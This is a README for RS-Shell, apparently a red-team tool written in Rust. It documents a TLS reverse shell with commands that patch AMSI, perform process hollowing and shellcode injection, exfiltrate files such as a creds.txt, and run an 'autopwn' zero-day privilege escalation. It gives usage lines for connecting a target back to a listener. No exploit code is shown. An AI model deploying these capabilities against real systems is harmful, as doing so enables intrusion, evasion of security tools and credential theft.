"The worst Rust programmer you have ever seen" - my mom

"But at least it works" - still my mom, but not about me

RS-Shell is a TLS over TCP reverse shell developped in Rust with client and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved.

Client and server are both cross-platform and work on Windows and Linux systems.

For Windows client, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.

For this purpose, I have chosen to mainly use the official windows_sys crate to interact with the Win32API and the ntapi crate for the NTAPI.

The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.

For the moment, the following features are present:

• Semi-interactive reverse shell via TLS over TCP
• File upload and download between server and client
• Start a PowerShell interactive session with the ability to patch the AMSI in memory
• Loading features :
  • Load and execute a PE in the client memory
  • Load and execute a PE in a remote process memory
  • Load and execute a shellcode in a remote process memory
• Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in tcpdump

First of all, the full path of your TLS certificate and its password must be configured in the file server.rs in place of the tags [CERTFICATE_PATH] and [CERTIFICATE_PASSWORD].

Additionally, I have set a dummy domain for hostname validation in the connect() function for both clients. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.

By default, only the error, warn and info logs are displayed. If you also need the debug ones (can be usefull for the loading features), you can change this in main.rs by modifying ::log::set_max_level(LevelFilter::Info); to ::log::set_max_level(LevelFilter::Debug);.

The project can be compiled with cargo build --release on Windows or Linux and the binary will be present in target/release/.

Tu compile for a different target than your current OS you can use cargo build --release --target x86_64-unknown-linux-gnu.

The project compilation has been tested with the following Rust toolchains :

• stable-x86_64-pc-windows-gnu
• stable-x86_64-pc-windows-msvc
• stable-x86_64-unknown-linux-gnu

If you compile the project for a Linux target, the "Windows features" will be removed at compilation. Should run on all Windows and Linux versions (I have hope).

Usage : shell.exe [l | c] IP port

    l       launch the listener application
    c       launch the client application

    IP      IP address to bind to for the listener, or to connect to for the client
    port    port address to bind to for the listener, or to connect to for the client

    In a session, type 'help' for advanced integrated commands

To obtain a session, just launch the binary in listener mode on your machine with rs-shell.exe l IP_to_bind_to port_to_bind_to. For example rs-shell.exe l 0.0.0.0 4545.

Then, on the target machine launch the client to connect back to your server with rs-shell.exe c IP_to_connect_to port_to_connect_to. For example rs-shell.exe c 192.168.1.10 4545.

> help
[+] Custom integrated commands :

    [+] Loading commands
    > load C:\path\to\PE_to_load
        load a PE file in the client process memory and executes it. This could kill the reverse shell !
    > load -h C:\path\to\PE_to_load C:\path\to\PE_to_hollow
        load a PE file in a remote process memory with process hollowing and executes it
    > load -s C:\path\to\shellcode.bin C:\path\to\PE_to_execute
        load a shellcode in a remote process memory and start a new thread with it

    [+] Bypass commands
    > powpow
        start a new interactive PowerShell session with the AMSI patched in memory

    [+] Network commands
    > download C:\file\to\download C:\local\path
        download a file from the remote system
    > upload C:\local\file\to\upload C:\remote\path\to\write
        upload a file to the remote system

    [+] Special commands
    > autopwn
        escalate to the SYSTEM account from any local account by exploiting a zero day

The load commands permit to load and execute directly in memory:

• load loads and execute a PE in the client memory. This will kill the reverse shell, but that could be usefull to launch a C2 implant in the current process for example
• load -h loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
• load -s loads and execute a shellcode from a .bin file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target via the TCP tunnel

For example : > load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe. This will start a cmd.exe process with hollowing, load a calc.exe image in the process memory, and then resume the thread to execute the calc.

powpow starts an interactive PowerShell session with a PowerShell process where the AMSI ScanBuffer function has been patched in memory. This feature is not particularly opsec.

download permits to download a file from the client to the machine where the listener is running. For example download C:\Users\Administrator\Desktop\creds.txt ./creds.txt.

upload permits to upload a file on the client machine. For example upload ./pwn.exe C:\Temp\pwn.exe.

autopwn permits to escalate to the SYSTEM account with a 0day exploitation. Just type autopwn and answer the question.

• Move all the Win32API related commands to the NTAPI with indirect syscalls
• Implement other injection techniques
• Implement a port forwarding solution
• Find a way to create a fully proxy aware client
• Implement a reverse socks proxy feature

• OffensiveRust by winsecurity. This project would never have existed without him. Many of functions, structures, and tricks present in rs-shell come from this project
• OffensiveRust by trickster0
• Multiple projects by memN0ps
• RustPacker by Nariod
• Nik Brendler's blog posts about pipe communication between process in Rust. Part 1 and Part 2